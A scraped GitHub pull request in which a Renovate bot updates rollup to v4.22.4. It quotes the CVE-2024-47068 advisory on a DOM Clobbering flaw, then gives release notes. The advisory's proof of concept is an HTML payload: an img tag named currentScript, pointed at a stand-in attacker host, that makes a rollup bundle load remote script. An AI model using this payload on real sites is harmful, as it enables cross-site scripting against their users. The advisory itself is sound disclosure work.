chore(deps): update dependency rollup to v4.22.4 [security] #411

renovate · 2024-09-24T06:31:34Z

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
rollup (source)	`4.21.3` -> `4.22.4`

GitHub Vulnerability Alerts

CVE-2024-47068

Summary

We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in `rollup`

We have identified a DOM Clobbering vulnerability in rollup bundled scripts, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
	getResolveUrl(
		`'${escapeId(relativePath)}', ${
			umd ? `typeof document === 'undefined' ? location.href : ` : ''
		}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
	);

const getUrlFromDocument = (chunkId: string, umd = false) =>
	`${
		umd ? `typeof document === 'undefined' ? location.href : ` : ''
	}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
		chunkId
	)}', document.baseURI).href)`;

Release Notes

rollup/rollup (rollup)

`v4.22.4`

Compare Source

2024-09-21

Bug Fixes

Fix a vulnerability in generated code that affects IIFE, UMD and CJS bundles when run in a browser context (#5671)

Pull Requests

#5670: refactor: Use object.prototype to check for reserved properties (@YuHyeonWook)
#5671: Fix DOM Clobbering CVE (@lukastaegert)

`v4.22.3`

Compare Source

2024-09-21

Bug Fixes

Ensure that mutations in modules without side effects are observed while properly handling transitive dependencies (#5669)

Pull Requests

#5669: Ensure impure dependencies of pure modules are added (@lukastaegert)

`v4.22.2`

Compare Source

2024-09-20

Bug Fixes

Revert fix for side effect free modules until other issues are investigated (#5667)

Pull Requests

#5667: Partially revert #5658 and re-apply #5644 (@lukastaegert)

`v4.22.1`

Compare Source

2024-09-20

Bug Fixes

Revert #5644 "stable chunk hashes" while issues are being investigated

Pull Requests

#5663: chore(deps): update dependency inquirer to v11 (@renovate[bot], @lukastaegert)
#5664: chore(deps): lock file maintenance minor/patch updates (@renovate[bot])
#5665: fix: type in CI file (@YuHyeonWook)
#5666: chore(deps): lock file maintenance minor/patch updates (@renovate[bot])

`v4.22.0`

Compare Source

2024-09-19

Features

Add additional known global values to avoid access side effects (#5651)

Bug Fixes

Ensure deterministic chunk hash generation despite async renderChunk hook (#5644)
Improve side effect detection when using "smallest" treeshaking preset when imports are optimized away (#5658)

Pull Requests

#5644: fix: apply final hashes deterministically with stable placeholders set (@mattkubej, @lukastaegert)
#5646: chore(deps): update dependency @mermaid-js/mermaid-cli to v11 (@renovate[bot])
#5647: chore(deps): update dependency concurrently to v9 (@renovate[bot])
#5648: chore(deps): lock file maintenance minor/patch updates (@renovate[bot])
#5651: feat: add AggregateError, FinalizationRegistry, WeakRef to knownGlobals (@re-taro)
#5653: Fix example selection in REPL (@lukastaegert)
#5657: chore(deps): update dependency vite to v5.4.6 [security] (@renovate[bot])
#5658: Detect variable reassignments in modules without side effects (@lukastaegert)

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

jansule · 2024-12-11T09:46:01Z

🎉 This PR is included in version 4.2.0 🎉

The release is available on:

Your semantic-release bot 📦🚀

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 6a7f501 to 9ebc336 Compare October 9, 2024 10:31

chore(deps): update dependency rollup to v4.22.4 [security]

f80c84a

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 9ebc336 to f80c84a Compare December 2, 2024 10:55

KaiVolland merged commit b873c31 into main Dec 11, 2024
4 checks passed

renovate bot deleted the renovate/npm-rollup-vulnerability branch December 11, 2024 08:59

jansule added the released label Dec 11, 2024

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

chore(deps): update dependency rollup to v4.22.4 [security] #411

chore(deps): update dependency rollup to v4.22.4 [security] #411

renovate bot commented Sep 24, 2024 •

edited

Loading

jansule commented Dec 11, 2024

chore(deps): update dependency rollup to v4.22.4 [security] #411

chore(deps): update dependency rollup to v4.22.4 [security] #411

Conversation

renovate bot commented Sep 24, 2024 • edited Loading

GitHub Vulnerability Alerts

CVE-2024-47068

Summary

Details

Backgrounds

Gadget found in rollup

PoC

Impact

Patch

Release Notes

v4.22.4

Bug Fixes

Pull Requests

v4.22.3

Bug Fixes

Pull Requests

v4.22.2

Bug Fixes

Pull Requests

v4.22.1

Bug Fixes

Pull Requests

v4.22.0

Features

Bug Fixes

Pull Requests

Configuration

jansule commented Dec 11, 2024

renovate bot commented Sep 24, 2024 •

edited

Loading

Gadget found in `rollup`

`v4.22.4`

`v4.22.3`

`v4.22.2`

`v4.22.1`

`v4.22.0`